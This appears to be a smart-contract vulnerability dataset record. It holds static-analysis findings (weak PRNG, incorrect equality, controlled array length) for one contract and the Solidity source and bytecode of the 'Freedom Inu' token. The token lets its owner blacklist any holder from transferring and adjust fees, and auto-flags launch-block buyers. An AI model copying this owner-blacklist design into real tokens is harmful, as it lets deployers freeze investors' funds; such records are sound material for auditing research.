00a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ffe576000600160008054905003815481101515610f7557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600082815481101515610fb057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061100b565b8080600101915050610ee0565b60016000818180549050039150816110239190611b7c565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600281526020017f425000000000000000000000000000000000000000000000000000000000000081525081565b6000806110dc33611414565b611125600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485611960565b101561113057600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101580156111825750600083115b156112d1576111918184611960565b905080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611220600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611ade565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191506112d6565b600080fd5b5092915050565b6000818154811015156112ec57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137857600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561139b57fe5b6113a481611979565b156113ae57600080fd5b600080548060010182816113c29190611ba8565b9160005260206000209001600083909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060008060008060008060008061142c8b611979565b1561143a57600099506117f2565b6114438b611a2c565b985061144e8b611a95565b9750600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16148061148b5750600088145b1561149957600099506117f2565b8896508673ffffffffffffffffffffffffffffffffffffffff1663a24247f16040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156114ff57600080fd5b5af1151561150c57600080fd5b5050506040518051905095508673ffffffffffffffffffffffffffffffffffffffff16636b27909d6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561157b57600080fd5b5af1151561158857600080fd5b505050604051805190509450844211156115a557600099506117f2565b60008773ffffffffffffffffffffffffffffffffffffffff16639fb8dd1a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561160a57600080fd5b5af1151561161757600080fd5b50505060405180519050141561163057600099506117f2565b6116bd6116b6898973ffffffffffffffffffffffffffffffffffffffff16639fb8dd1a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561169a57600080fd5b5af115156116a757600080fd5b50505060405180519050611b08565b6064611b3b565b9350854210156116cf578399506117f2565b60008773ffffffffffffffffffffffffffffffffffffffff166382351b436040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561173457600080fd5b5af1151561174157600080fd5b50505060405180519050141561176a5784421015611761578399506117f2565b600099506117f2565b600754860142101561177e578399506117f2565b61179361178b8688611960565b600754611b3b565b92506000831115156117b95784421015156117b157600099506117f2565b8399506117f2565b6117c38484611b3b565b91506117da6117d24288611960565b600754611b3b565b90506117ef846117ea8385611b08565b611960565b99505b505050505050505050919050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508091505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e857600080fd5b611913600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e46565b61191c8161131c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061196e83831115611a1d565b818303905092915050565b600080600090505b600080549050811015611a12578273ffffffffffffffffffffffffffffffffffffffff166000828154811015156119b457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a055760019150611a17565b8080600101915050611981565b600091505b50919050565b801515611a2957600080fd5b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000808284019050611afe848210158015611af95750838210155b611a1d565b8091505092915050565b6000808284029050611b316000851480611b2c5750838583811515611b2957fe5b04145b611a1d565b8091505092915050565b600080611b4a60008411611a1d565b8284811515611b5557fe5b049050611b728385811515611b6657fe5b06828502018514611a1d565b8091505092915050565b815481835581811511611ba357818360005260206000209182019101611ba29190611bd4565b5b505050565b815481835581811511611bcf57818360005260206000209182019101611bce9190611bd4565b5b505050565b611bf691905b80821115611bf2576000816000905550600101611bda565b5090565b905600a165627a7a723058200bb19593604693e4d77088b98e9682fc99e097a27c82c87a51a01e66e1bb21f20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,414 |
0x270bff09459333006a3d6c52e2c5fbeda8479f2b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract FREEDOMINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Freedom Inu";
string private constant _symbol = "FREEDOM";
uint private constant _decimals = 9;
uint256 private _teamFee = 9;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (1 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f5578063cf0848f71461040a578063cf9d4afa1461042a578063dd62ed3e1461044a578063e6ec64ec14610490578063f2fde38b146104b057600080fd5b8063715018a6146103285780638da5cb5b1461033d57806390d49b9d1461036557806395d89b4114610385578063a9059cbb146103b5578063b515566a146103d557600080fd5b806331c2d8471161010857806331c2d847146102415780633bbac57914610261578063437823ec1461029a578063476343ee146102ba5780635342acb4146102cf57806370a082311461030857600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020d578063313ce5671461022d57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d0565b005b34801561017e57600080fd5b5060408051808201909152600b81526a46726565646f6d20496e7560a81b60208201525b6040516101af91906118ef565b60405180910390f35b3480156101c457600080fd5b506101d86101d3366004611969565b61051c565b60405190151581526020016101af565b3480156101f457600080fd5b50678ac7230489e800005b6040519081526020016101af565b34801561021957600080fd5b506101d8610228366004611995565b610533565b34801561023957600080fd5b5060096101ff565b34801561024d57600080fd5b5061017061025c3660046119ec565b61059c565b34801561026d57600080fd5b506101d861027c366004611ab1565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a657600080fd5b506101706102b5366004611ab1565b610632565b3480156102c657600080fd5b50610170610680565b3480156102db57600080fd5b506101d86102ea366004611ab1565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031457600080fd5b506101ff610323366004611ab1565b6106ba565b34801561033457600080fd5b506101706106dc565b34801561034957600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561037157600080fd5b50610170610380366004611ab1565b610712565b34801561039157600080fd5b5060408051808201909152600781526646524545444f4d60c81b60208201526101a2565b3480156103c157600080fd5b506101d86103d0366004611969565b61078c565b3480156103e157600080fd5b506101706103f03660046119ec565b610799565b34801561040157600080fd5b506101706108b2565b34801561041657600080fd5b50610170610425366004611ab1565b610969565b34801561043657600080fd5b50610170610445366004611ab1565b6109b4565b34801561045657600080fd5b506101ff610465366004611ace565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049c57600080fd5b506101706104ab366004611b07565b610c0f565b3480156104bc57600080fd5b506101706104cb366004611ab1565b610c85565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104fa90611b20565b60405180910390fd5b600061050e306106ba565b905061051981610d1d565b50565b6000610529338484610e97565b5060015b92915050565b6000610540848484610fbb565b610592843361058d85604051806060016040528060288152602001611c99602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d5565b610e97565b5060019392505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016104fa90611b20565b60005b815181101561062e576000600560008484815181106105ea576105ea611b55565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611b81565b9150506105c9565b5050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104fa90611b20565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062e573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052d9061140f565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104fa90611b20565b6107106000611493565b565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016104fa90611b20565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610529338484610fbb565b6000546001600160a01b031633146107c35760405162461bcd60e51b81526004016104fa90611b20565b60005b815181101561062e57600c5482516001600160a01b03909116908390839081106107f2576107f2611b55565b60200260200101516001600160a01b0316141580156108435750600b5482516001600160a01b039091169083908390811061082f5761082f611b55565b60200260200101516001600160a01b031614155b156108a05760016005600084848151811061086057610860611b55565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108aa81611b81565b9150506107c6565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016104fa90611b20565b600c54600160a01b900460ff166109405760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fa565b600c805460ff60b81b1916600160b81b17905542600d81905561096490603c611b9a565b600e55565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016104fa90611b20565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016104fa90611b20565b600c54600160a01b900460ff1615610a465760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fa565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac19190611bb2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611bb2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611bb2565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c395760405162461bcd60e51b81526004016104fa90611b20565b600f811115610c805760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fa565b600855565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016104fa90611b20565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fa565b61051981611493565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6557610d65611b55565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de29190611bb2565b81600181518110610df557610df5611b55565b6001600160a01b039283166020918202929092010152600b54610e1b9130911684610e97565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e54908590600090869030904290600401611bcf565b600060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b038216610f5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b0382166110815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b600081116110e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fa565b6001600160a01b03831660009081526005602052604090205460ff161561118b5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fa565b6001600160a01b03831660009081526004602052604081205460ff161580156111cd57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e35750600c54600160a81b900460ff16155b80156112135750600c546001600160a01b03858116911614806112135750600c546001600160a01b038481169116145b156113c357600c54600160b81b900460ff166112715760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fa565b50600c546001906001600160a01b0385811691161480156112a05750600b546001600160a01b03848116911614155b80156112ad575042600e54115b156112f45760006112bd846106ba565b90506112dd60646112d7678ac7230489e8000060026114e3565b90611565565b6112e784836115a7565b11156112f257600080fd5b505b600d544203611321576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132c306106ba565b600c54909150600160b01b900460ff161580156113575750600c546001600160a01b03868116911614155b156113c15780156113c157600c5461138b906064906112d790600f90611385906001600160a01b03166106ba565b906114e3565b8111156113b857600c546113b5906064906112d790600f90611385906001600160a01b03166106ba565b90505b6113c181610d1d565b505b6113cf84848484611606565b50505050565b600081848411156113f95760405162461bcd60e51b81526004016104fa91906118ef565b5060006114068486611c40565b95945050505050565b60006006548211156114765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fa565b6000611480611709565b905061148c8382611565565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036114f55750600061052d565b60006115018385611c57565b90508261150e8583611c76565b1461148c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fa565b600061148c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061172c565b6000806115b48385611b9a565b90508381101561148c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fa565b80806116145761161461175a565b60008060008061162387611776565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165090856117bd565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167f90846115a7565b6001600160a01b0389166000908152600160205260409020556116a1816117ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e691815260200190565b60405180910390a3505050508061170257611702600954600855565b5050505050565b6000806000611716611849565b90925090506117258282611565565b9250505090565b6000818361174d5760405162461bcd60e51b81526004016104fa91906118ef565b5060006114068486611c76565b60006008541161176957600080fd5b6008805460095560009055565b60008060008060008061178b87600854611889565b915091506000611799611709565b90506000806117a98a85856118b6565b909b909a5094985092965092945050505050565b600061148c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d5565b6000611809611709565b9050600061181783836114e3565b3060009081526001602052604090205490915061183490826115a7565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118648282611565565b82101561188057505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189c60646112d787876114e3565b905060006118aa86836117bd565b96919550909350505050565b600080806118c486856114e3565b905060006118d286866114e3565b905060006118e083836117bd565b92989297509195505050505050565b600060208083528351808285015260005b8181101561191c57858101830151858201604001528201611900565b8181111561192e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051957600080fd5b803561196481611944565b919050565b6000806040838503121561197c57600080fd5b823561198781611944565b946020939093013593505050565b6000806000606084860312156119aa57600080fd5b83356119b581611944565b925060208401356119c581611944565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119ff57600080fd5b823567ffffffffffffffff80821115611a1757600080fd5b818501915085601f830112611a2b57600080fd5b813581811115611a3d57611a3d6119d6565b8060051b604051601f19603f83011681018181108582111715611a6257611a626119d6565b604052918252848201925083810185019188831115611a8057600080fd5b938501935b82851015611aa557611a9685611959565b84529385019392850192611a85565b98975050505050505050565b600060208284031215611ac357600080fd5b813561148c81611944565b60008060408385031215611ae157600080fd5b8235611aec81611944565b91506020830135611afc81611944565b809150509250929050565b600060208284031215611b1957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b9357611b93611b6b565b5060010190565b60008219821115611bad57611bad611b6b565b500190565b600060208284031215611bc457600080fd5b815161148c81611944565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1f5784516001600160a01b031683529383019391830191600101611bfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5257611c52611b6b565b500390565b6000816000190483118215151615611c7157611c71611b6b565b500290565b600082611c9357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aceb8522168faf120cb5e2a28687bf703b9de55579640bd775c83b4869a0a8ed64736f6c634300080d0033
|
